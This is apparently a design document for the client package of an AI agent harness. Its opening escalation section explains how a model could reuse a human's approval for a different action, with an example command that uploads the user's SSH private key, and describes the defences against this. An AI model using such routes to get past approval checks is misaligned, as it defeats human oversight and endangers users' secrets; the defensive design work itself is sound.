`Config.interactive` says someone is attached, because a parked call in
a headless session is a hang. Which raised records actually interrupt a
person stays a client-surface decision: the hub already emits
escalation events and lists pending ones in its snapshot, so approval
fatigue is tunable in a UI rather than frozen in a deploy.
- **An approval is consent about an *action*, not about a want.** The
record id digests `{strand, tool, wanted diff}` and says nothing about
the command behind it, so two calls that differ only in what they run
land on one row — which is right for deduplication and catastrophic
for consent: a yes given to `bash "true"` would otherwise be spendable
by `bash "curl -T ~/.ssh/id_rsa …"` in a different operation, later in
the session (#65). So a raise carries `action_digest` of the call's
effective arguments alongside the id, the record stores it, and only a
claimant that digests the same inherits the approval. Anything else
re-opens the record as a fresh `Pending` question bound to the new
action, and the model sees the byte-identical in-band refusal a first
denial produces — it must never be able to observe that an approval
existed and was set aside. Nothing is excluded from the digest: a
field the consent layer overlooks is a field the model may vary after
consent. `escalate.spend` re-checks the binding beside the scope check
and, on failure, settles in band leaving the record untouched.
- **Re-opening is bounded, because the party provoking it is the party
being constrained.** The mismatch edge above is a *new* way into
`Pending`, so `Config.max_asks` (3) caps the questions one row may put
and the claim comes back `Exhausted` past it: nothing written, nobody
asked, the call settled in band (#66).
- **A claim's checks and its commit are the same read.** The park's probe
reads an `api.EscalationCell` and spends through
`api.consume_escalation_at`, which CASes at that seq, so a claim
landing between the scope-and-action checks and the consume loses the
commit instead of passing unseen (#68). The cell travels through the
`weft/poll` loop as the probe's own value, so moving the loop onto the
primitive did not put a re-read between the decision and the CAS.
- **Both foreground waits make a first attempt immediately and a last one
at the deadline.** That is `weft/poll`'s contract, not this package's,
and it changed one behaviour worth knowing: `park` used to check its
deadline *before* reading the record, so a window already shut settled
without a read. It now costs one read, and an approval landing exactly
on the deadline is honoured rather than missed. `agency.wait_loop` folds
the map of already-settled handles from one attempt to the next, so a
slice never re-asks the store about a child that answered on the first
pass, and expiry hands that map back (`poll.RanOut`) so the settled
children are still reported `Ready`.
- **And so is an approval's.** `approve` carries the diff and the action
digest the client *rendered*; `gateway.approve` reads one
`api.EscalationCell`, checks the echo against that value, and commits
the `Approved` write CAS-guarded at that same seq — which is why it
builds the transaction itself rather than calling
`api.approve_escalation`, whose own read the checks would not be about.
A refreshing claim is exactly what makes the check mean something: it
changes what the record wants and bumps the register seq, so it either
fails the echo or loses the commit. A mismatch answers
`stale_approval` with the fresh record in `details` and writes nothing
(`protocol-change/007`, #72). The record's `CallScope` is also what
`op`/`strand` on the wire now come from, in place of a guess at which
strand was busy (#67).
- **A raise *claims* the record; the scope is the call standing at the
door now.** The digest deliberately excludes the call id, so under a
retry the row is already there when a refusal arrives — and the call
that opened it has already settled, because a model that reads an
in-band refusal retries under a call id the provider mints fresh. So
`api.claim_escalation` moves the scope to the live call under a CAS
instead of refusing the duplicate: a pending record moves and refreshes
its stored denial, an approved one moves and keeps its grants, and a
consumed or rejected one re-opens as a new question with no grants.
Without that the ordinary first-run sequence — refusal with nobody
attached, a human attaching and approving, the model retrying — leaves
an approved record scoped to a call that will never come back, which
nothing can ever spend and nothing can ever replace (the register is
write-once and there is no delete path). Two consequences are
deliberate: two calls wanting the same thing at once share one prompt
and therefore one authorization, and approving a want does not make it
unaskable — the next call wanting it asks again, because a standing
permission is a wider base policy rather than an approval that never
expires.
- **The escalation set is bounded on both axes, because two constantly
running paths scan the whole `escalation/` prefix** — a tool clearance
looking for approvals attributed to it, and the gateway's pull turning
new records into events. *Width*: a limit grant contributes its
**field** and not its magnitude to the dedup digest, because `bash`
turns a model-supplied `timeout_ms` into the `wall_s` it asks for, and
under a narrow base that number reaches the wanted diff — a retry loop
stepping it would otherwise mint a record, and a prompt, per attempt.
The magnitude still reaches the human: it is in the record's stored
denial, which is what an approval is granted against. *Count*:
`Config.max_records` caps the distinct wants a session will file, and
past the cap a refusal that would open a **new** record settles in
band; one that lands on a record already there costs no row and is
never turned away.
- **A park waits on the tool's own effect process, never on the driver.**
`Hooks.run_end` is not the only thing that must not block `drive_loop`:
a driver stuck inside a clearance stops serving `Nudge`,
`RequestAbort` and `PollTick`, so a human who changed their mind could
not abort the run they are being asked about. Parking in the broker
seam — inside `Ctx.clear_call`, on the process the driver spawned and
monitors — also means the wait needs no timer and leaks no process: the
effect process is linked to the driver's reaper, so an abort or a
driver restart kills the parked call and the driver settles it in band
through the ordinary monitor path.
- **Provider wrappers inherit stream ownership.** `gateway.tap_provider` and
`wiring.recording_summaries` each return a prepared provider surface. Each
wrapper publishes a minimal custodian while its guard is parked; only after
the parent adopts that owner does the guard prepare and adopt the inner
stream, then grant its begin permit. The guard
remains the inner stream's direct consumer; only each synchronous observer
call moves to a monitored worker. The custodian adopts both and the inner
owner, while the guard retains its own pre-begin drain monitor. It forwards
cancellation inward and bounds missing acknowledgement with
`CancellationUnconfirmed`, then stays alive until the registered subtree
exits. An abnormal transitive Down becomes terminal `DrainProofLost`, never
retry permission. This keeps the chain continuous from driver reaper to runtime
custodian, relay custodian and guard, gateway custodian, guard and pump, and
the native HTTP owner plus its dedicated handler; no wrapper may turn
consumer death into a detached request.
- **Named helper traffic binds observation and delivery to one incarnation.**
Ephemeral commit hints, provider deltas, hub casts, and holder calls resolve
a registered name once, then send its tagged envelope directly to that PID.
If an optional hub unregisters before resolution its hint is dropped; if it
exits afterward the PID send is a no-op or the caller's existing monitor
reports unavailability. Re-resolving the name inside `process.send` would
leave a race that converts an ordinary restart into a caller crash, or asks a
replacement while still monitoring its predecessor.
- **Wrapper comments narrate ownership handoffs.** The module story names why
the guard, observer, and custodian are separate; comments at publication and
adoption say what becomes safe after each acknowledgement. Do not reduce
this to comments which merely restate a `spawn`, `send`, or monitor call.
- **A park is bounded by the configured window *and* by the call's own
budget deadline, and the deadline is re-read immediately before the
consuming commit.** The second bound is not politeness: the broker's
ledger refuses a reservation past `deadline_ms`, so a re-clearance
after that instant is a `BudgetRefused`, not a resumption, and holding
a call past it would trade an honest "policy refused" for a confusing
"deadline passed". The re-read is the same fact one step further in:
the consume is a writer round trip, so a slice admitted just inside the
window could otherwise commit `Consumed` on its way to a budget
refusal, spending an approval on an execution that never happens. Both
bounds are read from the session's own clock, which is why the seam
must share it (spec §0.2). What the budget bounds is *admission*, not
total elapsed time: a resumed call re-enters `reserve_budget` with its
`CallSpec` unchanged and gets the original `wall_s`, so a parked call's
lifetime is `park + wall`.
- **An approval buys exactly one re-clearance, of exactly one call.** The
record's `CallScope` is checked — exact equality — before anything is
spent, so a call that lost the claim to another call cannot burn the
approval that other call is standing at; the consume is a CAS that must
win *before* the grants compose into a policy; and the resumed call is
cleared once, not retried in a loop — if the widened policy still does
not satisfy the tool, the second refusal stands in band. Only a call
whose denial digests to the record's own id can ever hold the claim, so
"one call" is always a call wanting the same thing on the same strand
through the same tool, and the grants it spends are the ones a human
chose rather than its own. A lost CAS, a lost claim, a decode failure,
a denial, a closed window, a passed budget deadline, a disconnected
client, an unanswering hub and a crash all end in the same in-band
refusal.
- **Asking another process a question never kills the asker.**
`process.call` exits its *caller* on timeout rather than returning an
error, and both questions this package asks on a parked call's own
effect process — `gateway.attached` once a second for the length of the
park, and `escalate.borrow` once per refusal — would therefore turn a
merely slow answer into a dead tool call, settled by the driver as a
death with no stated reason where the seam's doc promises an in-band
policy refusal. Both send and select by hand instead, watching the
callee's monitor: absent, dead, dying mid-answer and too slow all
degrade to "nobody is there", which un-parks the call and settles it.
- **Compaction is answered by these seams, with the strand's own notes,
and no provider is asked.** `compaction_hooks` answers every
compaction's structural decision `VerdictSupplied` with the checkpoint
`client/checkpoint` builds — the window header, the `agent/{strand}/`
cells, the operator's instructions — and no usage, because nothing was
billed. It declines a branch summary (notes say nothing about an
abandoned branch, and nothing asks for one) and a checkpoint whose
registers would not read (a declined threshold compaction leaves the
run alive; publishing a false "no notes" would not be recoverable).
`VerdictGenerate` is never selected: the machine's generate path is a
frozen contract the simulation still drives, and a `SummaryRequest`
reaching `dispatch` is refused terminally, since no prompt exists to
make one with. The M3 demo installs *these* hooks over its scripted
provider — it has no `demo_hooks` of its own — so the `CompactionEntry`
it asserts on is the hook-supplied checkpoint production code
published.
- **The reminder and the tool read the threshold's own numbers.** The
`context` slot appends the notes reminder once a strand's context
passes `checkpoint.reminder_point` — one reserve below the cut — and
`context_remaining` answers from `checkpoint.remaining_seam`; both
re-project the strand through `runtime/hooks.project` and price it
with `hooks.context_tokens`, never from the message list in hand,
because the fold has to skip what a compaction carried or it reads the
pre-compaction usage and fires forever. The window is
`wiring.strand_window`'s, the strand's own. Asked and told are one
number.
- **The reminder is transient.** It is a transform on one request's
messages, never an entry: a crash re-projects and re-decides, and the
tree never holds it. `a_near_limit_request_carries_the_notes_reminder_test`
pins both halves — that the request carries it inside the band and
that the durable projection does not.
- **Role follows identity, and the role is derived at dispatch.** An
`effects.RequestSpec` carries no strand name and one wiring config
serves every strand, so `wiring.request_target` asks the *captured
identity* which role it is on: the first routable role in canonical
order (`main`, then `subagent`) whose usable chain **head** equals it,
ties to `main`. A match dispatches `ForRole`, so the gateway walks that
chain inside the one attempt and a rate-limited head costs a fallback
rather than the machine's retry ladder. No match dispatches
`ForResolved` on exactly the captured identity. Both answers are a pure
function of durable state and boot configuration, which is what makes a
post-crash re-attempt choose what the original attempt chose — recovery
orphans an in-flight request and re-attempts it, it never re-dispatches
one. There is deliberately no per-request rerouting, no mutable role
registry, no health tracking and no sticky chain position: the head is
tried first, every time.
- **A deferred poll is always `ForResolved`.** The handle belongs to the
identity that minted it and ORCH-L4 validates the settlement against
exactly the captured `{provider, model_id, api}`, so a poll that walked
a chain would fetch a continuation nobody issued. The mirror cost is
written down in `protocol-change/009`: a *generation* settled by a
fallback target that returned `Deferred` fails the same check and drains
as failure. Nothing settles `Deferred` today.
- **A catalogue entry's `thinking` seeds a strand; it never overrides a
dispatch.** The per-turn level is absolute at dispatch and travels as
the walk's overlay onto *every* target attempted, so a fallback cannot
answer at a smaller reasoning budget than the head was asked for.
Where the entry's level does take effect is strand *creation*, at all
three points and by one lift (`wiring.strand_thinking_level`):
`serve.seed_thinking` for `main`, `gateway.seeded_thinking` for
`fork`/`create_strand`, and `agency.child_configuration` for a spawned
child. `set_config model_name` deliberately leaves `thinking_level`
alone — switching model is not a request to un-raise a budget somebody
raised.
- **A spawned child's model is chosen once, at creation.**
An explicit `SpawnRequest.model` selects a catalogue identity and its seed
thinking from `agency.Config.models`; an unknown name refuses before any
child state is written. Omission uses `Config.subagent_model`, which
`client/serve` fills from the gateway, or inherits the parent if unrouted.
The durable seed precedes the brief, so recovery with only that seed or
with a completed lineage cell never resolves the choice again. The spawn
receipt reads the child's current configuration. Existing role fallback
and vision routing still apply to later requests.
- **Model facts follow the identity, not the configured role.**
`wiring.Config.facts` is an `identity -> #(ResolvedModel, api)` seam
`client/serve` builds from the catalogue, and it is what makes a strand
switched off-route honest: admission is answered **per query** from the
query's own configuration, the compaction threshold's window is the
*strand's*, and an off-route dispatch target carries the switched-to
entry's counts. The api half matters as much as the counts — it is
captured durably into the generation intent and is what ORCH-L4 later
validates a deferred handle against, so a boot-frozen answer named the
main entry's dialect for a strand switched to the other one. Only an
identity the catalogue does not know falls back to `Config.api` and the
two `fallback_*` counts.
For `OpenAiResponses`, `serve.adapter_api` uses the adapter's
`"openai-responses"` constant for both the resolved settings and
`catalogue_facts`. The client listing carries the distinct dialect through
its existing open string; neither the wire version nor the durable
`{catalogue-name, model_id}` identity changes.
- **Subscription profiles select credentials, never endpoints.** Catalogue
validation requires `auth = "codex"`, bounds the profile name, and refuses
API-key and URL fields. `codex/transport.validate_request` admits only the
relative `POST /responses` shape with its fixed non-secret headers. The
native profile owns token and signed subject binding; the bearer reaches
only the fixed public Responses HTTP authorization boundary. Control events,
durable messages and logs carry no token or account subject. Missing plan
permission is explicit; an identity-only login cannot authorize inference.
Native and installed Codex CLI credential stores remain separate.
- **The native subscription worker lives through HTTP drain.** The HTTP owner
monitors the worker that prepared it even after begin. `codex_bridge` therefore
monitors that owner before begin and keeps its creating worker alive until
the owner exits. Its surviving Weft scope independently retains cancellation
and drain proof; a normal worker return cannot cancel a still-admitted stream,
and an abnormal native exit cannot become a clean scope exit.
- **A checkpoint never publishes a blank.** A strand with no notes is
told, in the checkpoint, that it wrote none and where notes go; a
checkpoint whose inputs would not read is declined rather than
rendered from an empty board. Neither shape can replace a window with
nothing, or with a false record of nothing.
- **The `before_compact` note lands in the checkpoint.**
`runtime/strand_runtime` asks `Hooks.compaction_note` at the structural
decision and appends every block after the harness's own text and the
strand's notes; `extension/hooks.note_block` frames it for the model
reading its next window, not for a summarizer. Still never a veto, and
still under the replay rule: the decision is transient until the
publication commits it.
- **The operator's `compact` instructions reach the checkpoint from the
operation's durable state**, not from the preparation:
`StructuralPreparation` has no field for them, because the preparation
is the *input* the decision hook froze and the instructions are a
property of the operation that asked. They are quoted in the
operator's own words, in their own fence.
- **A manual `compact` cuts where an automatic one cuts.** The hub's
preparation goes through `runtime/hooks.preparation` — the same
builder the threshold and overflow hooks use — against the run's own
settings snapshot.
- **The server has two supervision tiers, and the line between them is
reachability.** A child under `Instance.services` — the commit
forwarder, the Agency holder, the escalation holder, the scratch
store, the rule scanner, the scheduled-heartbeat scanner, the
search-index holder and its commit subscriber, the gateway hub —
is addressed by
a reclaimable reference, so a replacement binds the same address and a
crash costs hints and the sockets already attached to the old hub
rather than the server. The helper pool, the broker, and the summary
sink are captured *by value* into closures built during the boot, so a
replacement would be unreachable by everything already holding the old
handle: restarting one leaves a server that looks alive and refuses
every call, and failing closed is the posture the effect plane wants
anyway. Those are fatal, along with the session tree, the listener,
and the service supervisor once its own budget is spent.
- **A plane nobody configured costs nothing, and says so.** A
`loom.toml` with no `[[rule]]` starts no scanner at all — not a
scanner holding an empty list — and logs `rules.none`; a configured
one logs `rules.loaded` with the count and the names. A `loom.toml`
with no `[[schedule]]` takes the identical posture: `schedules.none`
or `schedules.loaded`, no scanner started or a supervised one holding
exactly the configured list. This is the `codemode.unavailable` line's
reasoning applied again: an operator who configured something and
sees no effect must have a line to reason from, and a host that
configured nothing must run exactly the processes it ran before the
feature existed.
- **A dormant rule is byte-absent from a context, not merely cheap.**
Rules live in the configuration file, fired-marks and cursors live in
reserved registers, and neither is an entry — so nothing a rule
contains can reach a projection until the scanner commits an
injection. The projection tests assert exactly that, in both
directions.
- **Recall is a projection with no authority, and the wiring says so
three times.** An index that will not open costs the `history_search`
tool and one log line, never the boot. A holder that crashes is
restarted and reopens the file. A sync that fails leaves the durable
cursor where it was, so the next commit's poke retries it. Nothing
about a session's correctness depends on the index being right, which
is what lets every one of those failures be quiet.
- **The distillation pass runs once per boot, skips the live session by
its lease, and retries by being run again next boot.** Each clause is
load-bearing. *Once*, because the material it may read does not change
while this server runs — a live session's own lease is what puts it out
of reach — so a timer or a per-turn hook would buy re-reads and model
turns for nothing. *By the lease*, because the worker starts in the
service tier, after `assemble` has taken the session's writer lease, so
the skip is a property of the ordering rather than of a check. *Next
boot*, because the pipeline's write order (rows, head-and-cursors CAS,
sidecar) means a pass killed anywhere moved no cursor. The one residue
is the memory lease a killed pass cannot release: the store is
consistent, and a boot inside the ten-minute run TTL logs
`memory.distill.failed` naming the holder rather than distilling.
- **A fatal death is an orderly shutdown, not a side effect.** The host
traps exits, so a child's death is a message: it runs the whole
teardown — listener, services, runtime (which releases the writer
lease), broker, pool, sink — *before* reporting, and the entry point
exits nonzero afterwards. The one case this cannot cover is the
storage actor's own death, because it is the connection that would
delete the lease row.
- **Only the host tears a booted stack down.** `serve.shutdown` asks the
host (`host.retire`) and waits for its exit; it never runs a teardown of
its own. Two concurrent teardowns cannot both hold the runtime's drain
witness, and the one without it returns before the other has released
the lease, which is how a boot straight after `shutdown` once found the
old incarnation's lease. `open_instance` still leaves the close to its
caller, which is safe only because nothing that close stops before the
runtime is a fatal child.
- **A session open outwaits a distillation harvest.** A harvest opens a
source session under the ordinary writer lease as
`distill.distill_owner`, and the daemon runs one beside admission by
design. `serve.open_session_file` retries a `LeaseHeld` naming that
owner until the harvest closes or its lease (at most
`memory.lease_ttl_ms`) expires, and logs `session.harvest_wait` once.
Any other holder is refused at once, as before.
- **The entry point has two output channels, and the split is
deliberate** (§3.4). **stdout** carries the startup banner and nothing
else — the ephemeral port, the token path, the prompt digest — because
that is this process's contract with whoever launched it and a
supervisor script reads it with `head -1`. **The log stream** carries
everything about the running system, as JSON, one event per line, all
of it correlated to the session. A *usage* error is on neither side of
that split: it belongs to the person who mistyped a flag, before there
is a session to correlate anything to, so it stays on stderr with the
usage text. Everything downstream of a successful flags parse — the
boot failure, the SIGTERM stop, a fatal child, an absent code-mode
toolchain, a prompt-pack warning — is a log line.
- **The handler is installed before anything can fail.** `main`'s first
act is `handler.install`, so no line of a boot lands on the VM's
default text formatter; `LOOM_LOG_LEVEL` sets the threshold and an
unrecognised value falls back to `info` rather than refusing to boot.
- **Only an entry point installs the signal handler.** `wait_for_sigterm`
replaces the VM's default `erl_signal_handler`, whose answer to
`SIGTERM` is an immediate `init:stop()`, so `boot` never touches it —
`main` does, through `host.relay_sigterm`, and a test that boots a
server leaves the node's signal handling alone.
## Shipped fixtures run the daemon with an isolated home
Every fixture that launches the real `bin/loomd` named by
`LOOM_BOOTSTRAP_E2E_SERVER` reads that variable through
`test/support/shipped_server.from_environment`, never through `getenv`
directly. It returns a generated launcher script under
`build/shipped-home-<hex>/` that exports `HOME` as an empty private
directory, `XDG_CONFIG_HOME` inside it, and `GIT_CONFIG_GLOBAL` naming a
generated `Loom Fixture` identity, then execs the real server with its
arguments unchanged. A symbolic link to the server's sibling `loom-exec`
sits beside the script, so the launcher still passes `--helper` and
`test/support/enforcement.probe` still finds the helper. The daemon reads
the operator's `~/.claude/settings.json` hooks, home skills, installed
extensions under `~/.loom/extensions`, home guidance files, and global Git
identity from `HOME`. Before this, a developer's own hooks ran inside
fixture sessions and failed them on macOS, while `signoff/linux` passed
only because its container has no `~/.claude`. The test VM's own
environment is left alone: `git_identity_test` and other suites in the
same VM read it, and `os:putenv` would change it for all of them. A new
shipped fixture takes its server from `shipped_server.from_environment`.
## Shipped recovery observations
The reservation and identity recovery fixtures keep lifecycle mutations on
their original control connection. `test/support/daemon_observation` opens
one authenticated connection per lifecycle wait, using the fixture's original
endpoint and epoch. Its handshake and every `GetSession` read share the same
fifteen-second deadline. A transport failure ends that wait; it never retries
a retired control owner. Closure is requested before the observation outcome
is checked, and no probe launches another daemon. Mutation replies retain
their existing unknown-outcome semantics.
## Closure ownership at process boundaries
`hookserve.wire` binds each prior hook or tool function before composing its
wrapper. Capturing the enclosing `Hooks` or `ToolSurface` would copy unrelated
slots into every supervisor and worker that receives the effects. Likewise,
`wiring.compaction_hooks` captures the session for projection, and
`gateway.tool_output_observer` captures only event identity fields from
`ToolRun`. Their regression tests vary unrelated record contents and compare
flattened callback sizes; the size probe is confined to test support. See
[the daemon memory investigation](../../docs/design-notes/daemon-memory.md)
for the isolated workload measurements and their limits.
The session socket projects a resolved `Attachment` into a private authorization
record before creating its long-lived handler and gateway callbacks. That
record retains the binding, parser permit and registry handle; the resident
instance and runtime effects are no longer transport-owned. Authorization
still rechecks the original epoch, incarnation and credential on the registry.
The value the daemon manager holds per resident session, and replies to an
upgrade with, is `serve.Resident` rather than `serve.Instance`. The manager is
generic in that value and reads none of its fields: it calls only the
assembly's `fatal` and `drain`. So the narrowing is a change of the type the
daemon instantiates, not of the slot lifecycle. `owned_assembly_test` pins the
projection against a real assembly, and `runtime/drain_test` varies an effect
graph and checks that `api.draining` does not grow with it.
The daemon manager projects its command subject and assembly callback before
constructing the persistent instance host's builder. The host keeps that builder
after publication, so capturing the manager book would retain earlier resident
instances. Domain builders likewise capture only their projected callback and
source lookup. `daemon_manager_test` opens three real host pairs with large runtime
payloads and checks that host state stays bounded while publication and ordered
shutdown still succeed.
## Idle assembly actors hibernate
A session's weft actors take `runtime/residency.hibernate_after_ms` — one
constant, thirty seconds — and no site overrides it: `escalate`, `agency`,
`rulescan`, `jobs`, `scratch`, `history`, `internal/shared_history`,
`extension/hosts`, `advisor`, and the counters actor inside `hookserve.wire`.
`erlang:hibernate/3` sweeps and then shrinks the heap block to the live data,
so a parked session gives back the working heap of its last turn.
`runtime/strand_runtime` takes it too, and it is the one worth the most: it
holds the largest `Effects` heap in the assembly. It used to be out of reach
because it re-armed its checkpoint poll every 200 ms unconditionally. The poll
now runs at two periods — 200 ms while an operation is open, two minutes
between turns — so a parked strand's mailbox is quiet for four times the
residency interval while the doorbell-loss backstop is kept at the longer
period. `packages/runtime/CLAUDE.md` has the liveness argument and the reason
the chain only ever replaces itself.
Two kinds of actor are deliberately left awake, and the reasons are
load-bearing rather than oversights. The **gateway hub** ticks
`MaintainTransfers` every second through `actor.periodic`, which is a property
of the actor rather than of a `Next`, so a handler can neither cancel nor
re-time it and the receive timeout can never expire; reaching it needs either a
cancellable tick in weft or a `weft/state_machine` whose periodic timeout
belongs to the step. The **commit forwarders**
(`gateway.commit_forwarder`, `history.commit_pull`,
`history.supervised_shared_commit_pull`) and `serve`'s owned publication child
are stateless `Nil` processes: nothing to reclaim, and a wake sweep would land
on the hot path of every commit. `distillpass`'s domain stop token is
request-scoped and dies with its pass.
Hibernation returns garbage only. The live set it leaves behind is dominated by
this assembly's per-process copies of `Effects`, so this is a complement to
sharing that value and never a substitute; the measured local yield is 3 to 5%
of an idle six-session assembly across runs, and the yield on the installed
daemon is unmeasured. `client@assembly_heap_census_test` observes it — it
confirms `erlang:hibernate/3` through `process_info` rather than assuming the
interval fired — behind `LOOM_ASSEMBLY_HEAP_CENSUS`, and with a
`scripts/serial-tests` line because it differences `erlang:processes/0` and
suspends what it finds.
[The daemon memory investigation](../../docs/design-notes/daemon-memory.md)
carries the tables and the rerun command.
The advisor publishes `events/bus.GoalChanged` on `Outputs` only after
`put_reserved_fact` or `delete_reserved_fact` successfully returns for
`advisor.goal_key`. Guard and cursor writes publish no goal invalidation.
The gateway relays it as an uncorrelated `goal_changed` with an empty body,
through the same subscribed-peer delivery and authorization as other pushes
(protocol-change/056). A phase edge is not evidence that the asynchronous
goal evaluation has written its cell. `goal_e2e_test` holds the review's
provider response until the primary settles and an attached client reads
Active, then proves that satisfaction is notified without a primary wake.
## Held input and goal delivery reading path
For the #583 paths merged at `8b3455493`, the module `## Flow` comments name
local entrypoints and their owned helpers. `advisor.store_goal` and
`clear_goal` reach `write_cell` and `delete_cell`; only their successful
writer replies reach `goal_written`. `gateway.handle` relays the notice through
`push_to_subscribed` and `deliver`, preserving subscribed-peer authorization.
A bounded goal read refusal can keep the connection attached, so clients
must invalidate the observation on the correlated refusal itself.
The [delivery reading guide](../../docs/architecture/delivery.md#reading-the-held-input-and-goal-paths-in-gleam)
connects these paths to held queue projection and shared request ownership.
## Deep Docs
- [docs/architecture/codex-subscription.md](../../docs/architecture/codex-subscription.md)
— the opt-in helper, credential, request, and drain boundaries and the
remaining live interoperability and support gates.
- [docs/architecture/orchestration.md](../../docs/architecture/orchestration.md)
— the runtime surface the hub dispatches onto.
- [docs/architecture/durability.md](../../docs/architecture/durability.md)
— seqs, write-once rows, and why the event stream needs no side index.
- [docs/spec-gaps.md](../../docs/spec-gaps.md) — "From WP-L (`client`)":
the historical client gaps and their dispositions, including the now
shared compaction/navigation admission and brief-less strand creation.
- [protocol-change/007-escalation-carries-the-action.md](../../protocol-change/007-escalation-carries-the-action.md)
— why `escalation` carries the tool, the action digest and a bounded
argument preview, why `approve` echoes them, and the rendering rules
that bind any client showing a preview.
- [docs/design-notes/agent-comms-and-system-prompt.md](../../docs/design-notes/agent-comms-and-system-prompt.md)
— Part B: the pack's sections, the stability contract, and why
the prompt is pinned rather than re-derived.
- [docs/review/m5-agent-comms-judgment.md](../../docs/review/m5-agent-comms-judgment.md)
— change items 5 and 6, which the sandbox wording and the
pin-around-the-lease ordering follow.
- [docs/architecture/code-mode.md](../../docs/architecture/code-mode.md) —
the pipeline `client/codemode` wires, and what each layer confines.
- [packages/codemode/CLAUDE.md](../codemode/CLAUDE.md) — the pipeline's
own package.
- [docs/architecture/memory.md](../../docs/architecture/memory.md) — the
store, the pipeline, the lease rules, the lifecycle worker, the digest
injection and the erasure cascade's rewind-on-drop (#124).
- [docs/design-notes/compaction-and-memory.md](../../docs/design-notes/compaction-and-memory.md)
— Stage C0: which seams were inert, what each hook now decides from,
and the cache arithmetic the summary request's shape follows.
- [packages/prompt/CLAUDE.md](../prompt/CLAUDE.md) — the pure half:
the pack format, the renderer, the summarization pack, and what
`Environment` may never grow.
- [docs/architecture/advisor.md](../../docs/architecture/advisor.md) — the
advisor strand: why it is a peer rather than an Agency child, the feed's
cadence and its coalescing backpressure, the three verdicts and the guard
that rations them, the two cells, and what is deferred.
- [packages/tui/CLAUDE.md](../tui/CLAUDE.md) — the other end of the wire.
- [Root CLAUDE.md](../../CLAUDE.md) — repo ground rules and the doc graph.
The worktree observer enumerates tracked status separately from untracked
files. Its untracked query excludes only Loom's canonical generated
`.codemode` directory and the legacy `.blobs` directory before enumeration,
so toolchain caches cannot consume the observation budget. Nothing writes
`.blobs` any more; the exclude covers workspaces an earlier release used.
Tracked changes under those directories still appear. Both outputs retain NUL-framed path identity and the existing
read-only broker, deadline and byte bounds; no repository ignore file is edited.
Session assembly keeps `.codemode` out of the operator's own
`git status` without editing a repository file either: `prepare_directories`
writes `workspace_policy.ignore_everything` as `.gitignore` inside each, where none
exists. An ignore file inside an untracked directory hides the directory
itself, so no git metadata is resolved, and a linked worktree needs nothing
different. An operator's replacement file is left alone. `$TMPDIR` under
`.codemode/tmp` is therefore the persistent scratch the `bash` description
names: a clone or a download a later call reads goes there, never into the
repository and never into `LOOM_SCRATCH_DIR`, which the helper removes when
its execution retires.
## Child run lifecycle
The Agency keeps immutable `lineage.Lineage` for addressing and spawn replay,
while `runtime/child_run.Run` stores each operation's owner, deadline and stop
cause. `current_peer` selects active or latest work; old handles still read
operation-keyed results. `send` delegates idle admission to `api.send_to_child`,
which commits budget and owner with the new operation. Explicit budgets are
refused for busy children. Parent reaping matches the current run's owner and
records its cause before requesting an exact-operation abort. New cancellation
decisions do not update legacy `Lineage.reaped`. Proposal 042 records the wire
and storage contract; `docs/review/child-run-lifecycle.md` records the remaining
schedule and legacy held-rule policies.
## Connection admission configuration
`daemon/limits` validates positive `max_connections` and
`max_reserved_message_bytes` settings in the same `[daemon]` table as optional
`profile` and boolean `ui` (default false). Both `catalog` and daemon startup
use that parser. `daemon/main.prepare_startup` captures the web-view choice
and connection limits from one read; `--ui` enables the view even when the file
says false. The production entrypoint carries the resolved configuration into
UI construction and listener publication. `daemon/main`
loads the last explicit startup configuration before preparing the root;
session-specific configuration cannot alter a live root's limits. The root
captures the limits in its handle and accounting state, and the control hello
reports those captured values. Count and byte refusals name the exhausted
setting before parser activation. Existing transfer, cancellation and DOWN
accounting remain the owners of capacity release.
## Async collaboration (protocol 048)
`async_runs` is a session-owned weft actor. `Launch`, `Inspect`, `Reported`,
`Sweep`, `Recover` and `AbortOperation` manage durable execution records and
volatile scopes. `async_codemode` captures source, policy, grants, a fixed
deadline and a distinct broker step. `execution.receive` reads the bounded
durable input journal. `Finished` requires scope and owned-child drain proof;
restart records `Lost` and retries child cleanup without replaying a program.
Once a terminal phase is saved, the service sends the launching strand a
`client/notice` completion notice, except for an owner's cancel, an
operation abort and a session stop. `Wiring.heartbeat_ms` (the jobs
policy's) drives the same minute-sampled idle heartbeat the jobs actor
runs, over `Starting` and `Running` executions.
Agency serializes `SpawnChild`, `WorkflowChild` and `PeerRequest`; `Borrow`
keeps blocking waits outside that mailbox. `workflow_ledger` fixes a named
run's version/input and a named step's assignment/call site before admission.
`workflows` binds the current async custody. The immutable initial child
operation is committed with admission, so interrupted lineage publication
cannot select a later unrelated run.
`peer_mail` owns exact directional grants and atomic receipts in reserved
`client/peers/` facts. `peers` exposes `peer_roster`, `peer_send`, `peer_describe`
and the cap router. `daemon/main.peer_directory` resolves only residents and
reads saved metadata without opening stores. `Assembly.build` receives the
small manager handle; resident values carry an address-only peer endpoint.
The owner/epoch-checked `peers.link` and `peers.unlink` controls are the only
grant mutation surface. Owner-only `peers.inspect` reads one resident strand's
outgoing links and recipient-owned incoming grants. The `Grants` Agency command
returns incoming wake policy, while outgoing rows combine catalogue metadata
and the exact target strand's wake policy. Inspection sorts both directions
under one opaque cursor and keeps every serialized reply below 60,000 bytes;
pages are fresh observations. Unavailable recipients remain visible without
opening saved stores. Owner-only `peers.send` reuses the normal sender and
recipient handlers after checking the daemon epoch. It selects a resident source
strand but cannot bypass links or supply provenance metadata. Communication
grants confer no lineage or custody.
`peer_mail.Link` enforces 64 outgoing links per source strand before writing the
source index. Replacing an exact link at the limit remains idempotent.
Default peer links (protocol-change/077). `client/peer_defaults` decodes the
`[peers]` table (`default_links = "off" | "same_owner"`, `default_wake`),
strictly, and `catalog` validates it with every other table; `daemon/main`
captures it once at startup in `Config.peer_policy` and never rereads it. The
daemon hands each session `peer_mail.Defaults(policy, eligible)` through
`serve.Settings.peer_defaults` and `agency.Config.peer_defaults`; `Agency`
calls `peer_mail.handle_with`, and `handle` is the same with `no_defaults`.
`eligible` is `manager.unshared_sessions`, a registry read of the active
sessions with no membership row (resident or not, at most 256, from one `access.membered_sessions` query and the catalogue pages), evaluated at
each admission and listing. `peer_mail.implicit_wake` is the only place a
default link is decided (same_owner, both strands `main`, different sessions, no
denial, both sessions eligible), and delivery, `Roster`, `Links` and `Grants` all
use it: an explicit grant decides alone, a default delivery commits under the
guard that neither a grant nor a denial exists. `Revoke` and `Unlink` record
`client/peers/denial/<digest>` for a `main` to `main` pair and `Allow` and `Link`
clear it, each in one `api.edit_reserved_facts` transaction. Default rows carry
`default: true` in `Links`, `Grants` and `peers.inspect`; roster rows carry
